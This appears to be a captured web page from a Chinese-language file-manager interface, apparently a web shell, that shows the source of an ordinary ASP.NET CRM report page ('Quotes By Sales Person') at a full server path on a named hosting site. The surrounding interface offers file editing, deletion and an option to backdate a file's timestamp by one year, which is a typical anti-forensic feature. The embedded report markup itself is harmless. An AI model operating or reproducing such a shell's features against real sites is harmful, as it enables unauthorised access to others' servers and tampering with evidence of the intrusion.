文件操作 - BySalesPerson.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\crm.kimbly.in\wwwroot\Reports\Quotes\BySalesPerson.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="BySalesPerson.aspx.cs" Inherits="BasicCRM.Quotes.BySalesPerson" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> <link href="../../css/bootstrap.min.css" rel="stylesheet" /> </head> <body> <form id="form1" runat="server"> <div style="width:97%; margin-left:5px"> <h4>Quotes By Sales Person</h4><hr style="width:100%"/> <div style="width:90%" class="form-group" style="width:100%; margin-top: 10px"> <label style="float:left;margin: 5px;margin-right: 10px;" >Start Date</label> <asp:TextBox ID="txtStartDate" runat="server" type="date" cssClass="form-control" style="width:200px; float:left;height: 30px;"></asp:TextBox> <label style="float:left;margin: 5px;margin-right: 10px;" >End Date</label> <asp:TextBox ID="txtEndDate" runat="server" type="date" cssClass="form-control" style="width:200px; float:left;height: 30px;"></asp:TextBox> <asp:Button ID="BtnRpt" runat="server" Text="Get" CssClass="btn btn-success" onclick="BtnRpt_Click" style="margin-left:10px" /> <hr style="width:100%"/> </div> <div style="width:40%; float:left"> <asp:GridView ID="GridView1" runat="server" CellPadding="4" DataSourceID="SqlDataSource1" ForeColor="#333333" GridLines="None" AutoGenerateColumns="False" Width="100%"> <AlternatingRowStyle BackColor="White" ForeColor="#284775" /> <Columns> <asp:BoundField DataField="Name" HeaderText="Name" SortExpression="Name" /> <asp:BoundField DataField="Count" HeaderText="Count" SortExpression="Count" ReadOnly="True" /> </Columns> <EditRowStyle BackColor="#999999" /> <FooterStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <HeaderStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <PagerStyle BackColor="#284775" ForeColor="White" HorizontalAlign="Center" /> <RowStyle BackColor="#F7F6F3" ForeColor="#333333" /> <SelectedRowStyle BackColor="#E2DED6" Font-Bold="True" ForeColor="#333333" /> <SortedAscendingCellStyle BackColor="#E9E7E2" /><SortedAscendingHeaderStyle BackColor="#506C8C" /> <SortedDescendingCellStyle BackColor="#FFFDF8" /><SortedDescendingHeaderStyle BackColor="#6F8DAE" /> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" SelectCommand="GetQuotesByEmployee" SelectCommandType="StoredProcedure"> <SelectParameters> <asp:Parameter DbType="Date" Name="SDate" /> <asp:Parameter DbType="Date" Name="EDate" /></SelectParameters> </asp:SqlDataSource> </div> <div style="width:60%; float:left"> <asp:Chart ID="Chart1" runat="server" DataSourceID="SqlDataSource1"> <series><asp:Series ChartType="Pie" Name="Series1" XValueMember="Name" YValueMembers="Count"></asp:Series> </series> <chartareas><asp:ChartArea Name="ChartArea1"> </asp:ChartArea> </chartareas> </asp:Chart> </div> </div> </form> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件